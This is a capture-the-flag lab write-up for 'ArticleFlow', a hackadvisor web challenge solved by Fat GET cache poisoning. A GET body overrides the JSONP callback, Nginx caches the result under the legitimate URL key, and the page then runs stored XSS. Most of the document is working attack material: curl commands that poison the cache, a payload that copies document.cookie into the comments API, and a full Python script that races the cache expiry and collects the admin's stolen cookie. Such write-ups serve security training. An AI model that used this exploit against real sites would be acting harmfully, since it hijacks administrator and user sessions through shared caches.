Lab 183 — ArticleFlow — Stored XSS via Fat GET Cache Poisoning
Lab 183 — ArticleFlow — Stored XSS via Fat GET Cache Poisoning
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-24 | Status: Solved Techniques: admin_bot_exploitation, cache_timing_race, fat_get_cache_poisoning, jsonp_callback_injection, same_origin_exfiltration
Summary
Task: Blogging platform with JSONP localization endpoint behind Nginx cache; Express.js accepts GET body params while Nginx keys cache on URL only. Solution: Fat GET cache poisoning — override callback parameter via request body to inject XSS payload into cached JSONP response, exfiltrate admin cookies via same-origin comments API.
Lab 183 — ArticleFlow — Stored XSS via Fat GET Cache Poisoning — hackadvisor
Description
ArticleFlow is a modern blogging platform by ContentWave Inc. that serves content to readers worldwide. The platform features a blog with articles, comments, localization support for international readers, and an admin panel for content management. The application uses a caching layer to optimize content delivery performance. Every page on the site loads a localization script that detects the visitor's region and sets a locale cookie for content personalization. Your goal is to find a way to execute JavaScript in the context of the admin user and steal their session cookie which contains the flag.
English summary: A blogging platform with articles, comments, and localization. Every page loads a JSONP localization script via Nginx cache. The goal is to poison the cache to execute XSS in the admin's browser and steal the flag cookie.
Credentials: user@test.com / password123 Target: https://a1c7ec59-8a46-432b-a055-528de40a8c37.labs.hackadvisor.io/
Analysis
Platform Architecture
- Backend: Express.js (Node.js) behind Nginx 1.25.5 reverse proxy
- Caching: Nginx caching layer exposing
X-Cache: HIT/MISSandX-Cache-Keyheaders - JSONP endpoint:
/js/localize.js?callback=setLocaleCookie— returnssetLocaleCookie({region data...}); - Every page includes
<script src="/js/localize.js?callback=setLocaleCookie"></script> - Comments API:
/api/comments— POST to create (no auth), GET with?post_id=Nto list - Admin bot periodically visits the homepage
- Flag stored in a non-HttpOnly
flagcookie on the admin's session - Decoy flags in HTML comments (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) — must be ignored
Vulnerability: Fat GET Cache Poisoning
The critical vulnerability is a Fat GET attack — a cache poisoning technique exploiting the discrepancy between how the cache layer and the backend process GET request bodies.
Root cause — two misconfigurations working together:
- Express.js accepts body parameters on GET requests. When both the query string and body contain
callback, Express uses the body value (last wins / body-parser precedence). - Nginx caches responses keyed only on the URL (path + query string). The request body is NOT part of the cache key.
This creates a cache key discrepancy:
| Layer | What it sees | Result |
|---|---|---|
| Nginx cache | URL query: callback=setLocaleCookie | Cache key: /js/localize.js?callback=setLocaleCookie |
| Express backend | URL query + body: both callback params | Uses body value: EVIL_PAYLOAD |
The attacker sends a GET request with the legitimate callback=setLocaleCookie in the URL (so the cache key looks normal) but includes callback=EVIL_PAYLOAD in the request body. Express generates a response with the evil payload, and Nginx caches it under the legitimate cache key. All subsequent visitors loading the localization script get the poisoned response.
Confirming the Vulnerability
bash read-only • copy allowed# Normal request — legitimate response curl -s "https://TARGET/js/localize.js?callback=setLocaleCookie" # → setLocaleCookie({"country":"US",...}); # Fat GET with body override — wait for cache MISS curl -sD - -X GET "https://TARGET/js/localize.js?callback=setLocaleCookie" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "callback=alert(1)//" # → X-Cache: MISS # → X-Cache-Key: /js/localize.js?callback=setLocaleCookie # → alert(1)//({"country":"US",...}); # Verify poisoning — normal request now returns poisoned response curl -s "https://TARGET/js/localize.js?callback=setLocaleCookie" # → alert(1)//({"country":"US",...}); ← POISONED!
The // at the end comments out the ({...}); suffix to prevent JavaScript syntax errors.
Solution
Step 1: Craft XSS Payload
The payload reads document.cookie (which contains the non-HttpOnly flag cookie on the admin's session) and exfiltrates it via the same-origin /api/comments endpoint — no need for an external server:
javascript read-only • copy allowedfetch("/api/comments",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({post_id:1,body:"COOKIE:"+document.cookie,author_name:"exfil"})})//
Step 2: Poison the Cache
The cache has a ~60 second TTL. The poisoning request must land on a cache MISS to succeed. Race the cache expiry by repeatedly sending the Fat GET request:
bash read-only • copy allowedcurl -X GET "https://TARGET/js/localize.js?callback=setLocaleCookie" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode 'callback=fetch("/api/comments",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({post_id:1,body:"COOKIE:"+document.cookie,author_name:"exfil"})})//'
Step 3: Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """ ArticleFlow — Fat GET Cache Poisoning → Stored XSS → Cookie Exfiltration HackAdvisor Lab 183 """ import requests import time import urllib.parse TARGET = "https://a1c7ec59-8a46-432b-a055-528de40a8c37.labs.hackadvisor.io" # XSS payload: exfiltrate cookies via same-origin comments API PAYLOAD = ( 'fetch("/api/comments",' '{method:"POST",' 'headers:{"Content-Type":"application/json"},' 'body:JSON.stringify({post_id:1,' 'body:"COOKIE:"+document.cookie,' 'author_name:"exfil"})})//' ) LOCALIZE_URL = f"{TARGET}/js/localize.js?callback=setLocaleCookie" print("[*] Starting Fat GET cache poisoning...") for i in range(1, 200): r = requests.get( LOCALIZE_URL, headers={"Content-Type": "application/x-www-form-urlencoded"}, data=f"callback={urllib.parse.quote(PAYLOAD)}", timeout=5, ) xcache = r.headers.get("X-Cache", "N/A") if xcache == "MISS" and "fetch(" in r.text: print(f"[{i}] MISS — poisoned response generated!") # Verify cache is poisoned time.sleep(0.3) check = requests.get(LOCALIZE_URL, timeout=5) if "fetch(" in check.text: print(f"[*] CACHE POISONED SUCCESSFULLY!") print(f"[*] Cached response: {check.text[:120]}...") break else: print(f" Race lost, retrying...") if i % 15 == 0: print(f"[{i}] Still HIT, waiting for cache expiry...") time.sleep(1) # Wait for admin bot to visit print("[*] Waiting 30s for admin bot to visit and trigger XSS...") time.sleep(30) # Check for exfiltrated cookies print("[*] Checking comments for exfiltrated data...") r = requests.get(f"{TARGET}/api/comments?post_id=1", timeout=5) for comment in r.json(): if "COOKIE:" in comment.get("body", ""): print(f"[!] EXFILTRATED: {comment['body']}")
Step 4: Retrieve the Flag
After the admin bot visits any page, the poisoned JSONP script executes and posts the admin's cookies to the comments API:
bash read-only • copy allowedcurl -s "https://TARGET/api/comments?post_id=1" | python3 -c " import json, sys for c in json.load(sys.stdin): if 'COOKIE' in c.get('body',''): print(c['body']) "
Output:
COOKIE:locale=US_en; flag=FLAG{REDACTED}